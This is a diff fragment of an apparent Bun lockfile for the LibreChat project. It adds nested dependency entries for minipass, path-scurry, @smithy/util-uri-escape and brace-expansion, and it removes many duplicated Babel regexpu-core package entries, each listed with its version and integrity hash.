+ "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
